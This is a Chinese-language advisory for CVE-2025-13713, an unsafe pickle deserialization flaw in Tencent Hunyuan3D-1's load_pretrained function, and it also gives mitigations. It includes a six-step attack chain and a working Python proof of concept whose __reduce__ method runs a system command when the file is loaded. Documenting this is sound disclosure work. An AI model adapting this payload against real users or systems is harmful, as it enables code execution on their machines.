CVE-2025-13713: 腾讯混元3D-1 load_pretrained 反序列化远程代码执行漏洞

漏洞信息

漏洞编号

CVE-2025-13713

漏洞类型

远程代码执行

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Tencent Hunyuan3D-1

漏洞概述

CVE-2025-13713是腾讯混元3D-1项目中一个高危安全漏洞，CVSS评分达到7.8。该漏洞位于load_pretrained函数中，由于缺乏对用户输入数据的适当验证，导致不安全的反序列化问题。攻击者可以通过构造恶意的序列化数据，在目标系统上执行任意代码。漏洞利用需要用户交互，例如访问恶意页面或打开恶意文件。由于攻击发生在本地向量范围（AV:L），攻击者需要首先获得目标系统的本地访问权限或诱骗用户打开特制的文件。一旦成功利用，攻击者可以在root权限上下文中执行代码，完全控制受影响的系统。此漏洞由ZDI（Zero Day Initiative）披露，编号为ZDI-CAN-27191。建议受影响的用户立即更新到最新版本以修复此安全问题。

技术细节

该漏洞的根本原因在于Tencent Hunyuan3D-1的load_pretrained函数存在不安全的反序列化操作。函数在处理用户提供的输入数据时，直接使用pickle.load()或类似的反序列化方法，而没有对输入数据进行任何验证或签名检查。攻击者可以构造包含恶意代码的序列化对象（pickle payload），当程序反序列化这些数据时，__reduce__或__reduce_ex__等魔术方法会被自动执行，从而触发代码执行。攻击者通常需要创建一个包含恶意序列化数据的模型文件或配置文件，诱使用户通过load_pretrained函数加载。一旦反序列化完成，攻击代码将以运行进程的权限执行，在本漏洞中为root权限。修复方案是在反序列化前增加数据验证，例如使用JSON等安全格式替代pickle，或实现签名验证机制确保数据来源可信。

攻击链分析

STEP 1

步骤1

攻击者创建恶意序列化数据：构造包含__reduce__方法的Python对象，该方法在反序列化时执行系统命令

STEP 2

步骤2

攻击者将恶意数据保存为模型文件或配置文件格式，诱骗目标用户加载

STEP 3

步骤3

目标用户访问恶意页面或打开恶意文件，触发对load_pretrained函数的调用

STEP 4

步骤4

load_pretrained函数使用pickle.load()等不安全方法反序列化用户提供的输入数据

STEP 5

步骤5

反序列化过程中，恶意对象的__reduce__方法被自动调用，执行攻击者预设的系统命令

STEP 6

步骤6

攻击代码以root权限在目标系统上执行，攻击者获得完全控制权

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import pickle
import base64
import os

# PoC for CVE-2025-13713: Hunyuan3D-1 load_pretrained RCE
# This demonstrates the insecure deserialization vulnerability

class MaliciousPayload:
    def __reduce__(self):
        # This command will be executed with root privileges
        cmd = "touch /tmp/pwned_by_cve_2025_13713"
        return (os.system, (cmd,))

# Generate malicious serialized data
malicious_data = pickle.dumps(MaliciousPayload())
malicious_b64 = base64.b64encode(malicious_data).decode()

# To exploit:
# 1. Save the malicious data to a file
# 2. Call load_pretrained with the path to this file
# 3. The code in __reduce__ will be executed

print(f"Malicious payload (base64): {malicious_b64}")
print("\nUsage:")
print(f"1. Save this payload to a file")
print(f"2. Call load_pretrained('path_to_malicious_file')")
print(f"3. The command in __reduce__ will be executed")

# Verification - deserialize and execute
print("\nDeserializing payload...")
pickle.loads(malicious_data)
print("Payload executed - check /tmp/pwned_by_cve_2025_13713")

影响范围

Tencent Hunyuan3D-1 < 修复版本

Hunyuan3D-1 1.0.0及之前版本可能受影响

防御指南

临时缓解措施

临时缓解措施：在调用load_pretrained函数前，对输入数据进行严格的验证和过滤；限制应用程序的运行权限，避免以root权限运行；监控异常的系统调用和文件访问行为；如非必要，禁用从不可信来源加载模型的功能。建议尽快应用官方发布的安全补丁。